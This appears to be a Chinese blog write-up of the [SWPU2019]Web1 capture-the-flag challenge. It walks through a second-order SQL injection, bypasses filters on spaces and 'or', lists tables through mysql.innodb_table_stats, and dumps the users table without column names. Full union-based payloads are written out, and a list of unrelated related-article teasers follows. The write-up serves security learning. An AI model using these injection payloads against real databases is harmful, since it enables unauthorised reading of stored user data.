[SWPU2019]Web1

news2024/11/24 5:25:22

目录

[SWPU2019]Web1

无列名查看表数据

不使用列名查询表中数据


[SWPU2019]Web1

首先我们先注册,登录进来后看到如下界面:

 我们点击申请发布广告,并发送:

 查看广告详情,发现疑似存在注入点:

 于是我们在发布广告页进行注入(这是一个二次注入题)

 发现有东西被过滤了,经过尝试,发现 and、or、空格、# 等被过滤了。

#注释被过滤了,后面有单引号 ' ,我们需要在最后加上单引号' 去闭合

我们尝试发现,空格可以使用 /**/ 代替

但是or被过滤了,怎么查询字段数,以及 information_schema 数据库呢?

我们可以使用 group by 去代替 order by 查询字段数:

1'/**/group/**/by/**/23,'1           # 最后的 '1 去闭合单引号

发现:

 将23,改成22,没有出错,所以共有22个字段。

然后我们去判断回显:

0'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

 发现第二和第三列可以回显,然后我们查询当前数据库:

0'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

 

 我们查询到当前数据库为: web1  

然后我们查询当前数据库的所有表,但是 or 被过滤了,我们没办法使用 information_schema 数据库,怎么办呢?

经过查询资料,我们知道了一下数据库: mysql.innodb_table_stats   

这个数据库可以查看 所有数据库名、所有表名,但是不能查看列名:

 于是我们使用它来查询所有表名:

0'/**/union/**/select/**/1,2,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name='web1'),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

 

查询到两个表,接着我们想要查询列名,但是好像做不到。于是我们了解到了一种 无列名查看表中数据的 方法:

无列名查看表数据

我们知道mysql联合查询 union 中,必须前后两个表的列数相等。并且联合查询出的表的字段名称默认为前一个表的字段名称。

例如:有一个3列的user表

 此时我们进行联合查询:

select 1,2,3 union select * from user;

我们发现查询出的列名为前一表的列名: 1,2,3 。 

因此,我们可以使用嵌套查询,将该表作为一张新的表,其字段名为:1,2,3。然后进行查询:

select `2` from (select 1,2,3 union select * from user);

发现报错了,mysql要求每一个派生出来的表都必须有一个自己的别名,那我给派生表加上别名即可;

我们将新产生的表命名为 tb ,再进行查询新表的第二列

select `2` from (select 1,2,3 union select * from user) as tb;

 发现查询出了新表的第二列

(查第二列时我们需要加入反引号 `  否则会查询出数字2):

 如果反引号 ` 被禁用的话,还有一种操作,可以给新表的字段起一个别名:

select c from (select 1,2,3 as c union select * from user) as tb;

 这样也可以不知道字段名的时候,直接从表中查询出数据(我们需要猜测表的列数)

因此,根据以上知识点。我们可以查询 users表中的数据(猜测共有三列):

0'/**/union/**/select/**/1,2,(select/**/group_concat(c)/**/from/**/(select/**/1,2,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)as/**/tb),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

 记得给新表起一个别名,否则报错

不使用列名查询表中数据

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/144344.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Docker 应用篇 | Docker 学习笔记总结

Docker 视频内容可以参考黑马程序员的Docker篇 详细完整内容可以查询菜鸟教程:Docker 教程 本篇博文主要让读者对Docker有一个基本理解并可以借助Docker发布自己的项目 一、初识Docker 1.1 Docker概述 Docker是一个集装箱式的思想 Docker可以让开发者打包他们的…

招聘求职系统|基于Springboot+Vue+Nodejs实现求职招聘系统

作者主页:编程指南针 作者简介:Java领域优质创作者、CSDN博客专家 、掘金特邀作者、多年架构师设计经验、腾讯课堂常驻讲师 主要内容:Java项目、毕业设计、简历模板、学习资料、面试题库、技术互助 收藏点赞不迷路 关注作者有好处 文末获取源…

电脑系统更新后桌面的文件全部不见了怎么恢复?

电脑系统更新是很常见的一种情况,自动更新电脑系统后我们可以进行更优质的使用体验,但是最近有位小伙伴,出现了win10电脑系统更新后桌面文件丢失情况,那么电脑系统更新桌面文件没了怎么办?电脑系统更新桌面文件不见了怎…

实验二十三 基于时间的ACL配置及策略

实验二十三 基于时间的ACL配置及策略实验要求: 某公司通过router实现各部门之间的互连。公司要求禁止销售部门在上班时间(8:00 至18:00)访问工资查询服务器(IP地址为192.168.10.10),财务部门不受限制,可以 随时访问。网络拓扑图:实…

如何定义算法?10分钟带你弄懂算法的基本概念

算法是指完成一个任务所需要的具体步骤和方法。也就是说给定初始状态或输入数据,经过计算机程序的有限次运算,能够得出所要求或期望的终止状态或输出数据。 编程界的“Pascal之父”Nicklaus Wirth有一句人尽皆知的名言:“算法数据结构程序”…

【目标检测】G-GhostNet

1、论文 论文题目:《GhostNets on Heterogeneous Devices via Cheap Operations》 论文地址: https://arxiv.org/pdf/2201.03297.pdf 代码地址: https://github.com/huawei-noah/CV-Backbones 2、引言 本文针对网络部署时面临的内存和资源…

python提取excel文本框内容

就提取excel文本框的内容,提供两种方法 一、 转成pdf,识别pdf文字 该方法需要注意两点: 1.似乎只能识别选中的文字(图片不行) 2.会受到精度影响(即有可能识别出错字) 以下是代码 先转存为pdf格…

IB中文解析,助力冲7分

我们知道,IB、AP、A Level三大国际课程体系都有中文,尤其IB学生,由于必选一门母语与语言,中文成了必选项。IB中文可以说是很多IB学子的心头大患了,引发焦虑的文章比比皆是。 不少家长看到这可能会问,中国学…

【Linux 进程地址空间】

1.程序地址空间的概率&#xff08;C/C的说法不够准确&#xff09;写一段代码来来证明C/C程序地址空间是按上图分布的&#xff1a;#include<stdio.h> #include<string.h> #include<stdlib.h> int uninit; int init100; int main() {printf("code addr:%p…

Anaconda中安装CUDA版本的PyTorch

Question: GPU是一种擅长处理专业计算的处理器。这与中央处理器&#xff08;CPU&#xff09;形成鲜明对比&#xff0c;中央处理器是一种擅长处理一般计算的处理器。CPU是为我们电子设备上大多数典型计算提供动力的处理器。GPU的计算速度比CPU快得多。但是&#xff0c;情况并非…

经验证短视频账号每天最多发3个视频,超过的不予推荐

经验证短视频账号每天最多发3个视频&#xff0c;超过的不予推荐 前两天我在刷短视频的时候&#xff0c;看到一个博主推荐一天可以发几十个视频&#xff0c;感觉有点不对&#xff0c;决定还是自己试一下。 于是&#xff0c;在死亡边缘疯狂试探了好几天&#xff0c;终于得到想要…

在ESXi系统上安装pve

pve是基于debian的&#xff0c;在ESXi上选择系统时建议选择debian并开启虚拟化一、下载下载&#xff1a;https://www.proxmox.com/en/downloads点进下载网站后选择 Proxmox Virtual Environment-->ISO Images-->Proxmox VE 7.3 ISO Installer 下的download按钮二、安装系…

React组件

React组件1.组件基本介绍2.React创建组件的两种方式2.1 函数组件2.2 类与继承2.2.1 class 基本语法2.2.2 extends 实现继承1.组件基本介绍 组件是React中最基本的内容&#xff0c;使用React就是在使用组件组件表示页面中的部分功能多个组件可以实现完整的页面功能组件特点&…

【无人机路径规划】基于IRM和RRTstar进行无人机路径规划(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

java后端第二阶段:JavaWeb

一、Mysql 定义&#xff1a;关系型数据库&#xff0c;存储在硬盘数据安全。 1.SQL通用语法 注释&#xff1a; 单行注释 -- 注释内容 或 #注释内容&#xff08;MySQL特有&#xff09; 多行注释 /* 注释 */ DDL&#xff1a;操作数据库&#xff0c;表等 DML&#xff1…

PCB设计如何防止阻焊漏开窗

PCB的阻焊层&#xff08;solder mask&#xff09;&#xff0c;是指印刷电路板子上要上绿油的部分。阻焊开窗的位置是不上油墨的&#xff0c;露出来的铜做表面处理后焊接元器件的位置&#xff0c;不开窗的位置都是印上油墨的防止线路氧化、漏电。 PCB阻焊层开窗的三个原因 1.孔…

【架构设计】如何让你的应用做到高内聚、低耦合?

前言 最近review公司的代码&#xff0c;发现代码耦合程度特别高&#xff0c;修改一处&#xff0c;不知不觉就把其他地方影响到了&#xff0c;这就让我思考该如何让我们写的代码足够内聚&#xff0c;减少耦合呢&#xff1f; "高内聚、松耦合"是一个非常重要的设计思…

Idea插件之日志管理神器(Grep Console)

1.简介Grep Console是一款方便开发者对idea控制台输出日志进行个性化管理的插件。2.功能特性Grep Console的主要功能特性&#xff1a;支持自定义规则来过滤日志信息&#xff1b;支持不同级别的日志的输出样式的个性化配置&#xff1b;总结&#xff1a;通过过滤功能、输出日志样…

经典卷积神经网络-AlexNet

AlexNet 学习目标 知道AlexNet网络结构能够利用AlexNet完成图像分类2012年&#xff0c;AlexNet横空出世&#xff0c;该模型的名字源于论文第一作者的姓名Alex Krizhevsky 。AlexNet使用了8层卷积神经网络&#xff0c;以很大的优势赢得了ImageNet 2012图像识别挑战赛。它首次证…

为何瑞达利欧的《原则一》这么难读懂?

开始搞不懂&#xff0c;为何一个桥水基金创始人&#xff0c;一位投资人&#xff0c;却写了一本这样的书&#xff0c;书中的内容初看时觉得与他从事的投资事业几乎毫无关系&#xff1f; 《原则》其副标题为《生活和工作的原则》 乍看&#xff0c;此书黑色的封皮&#xff0c;让我…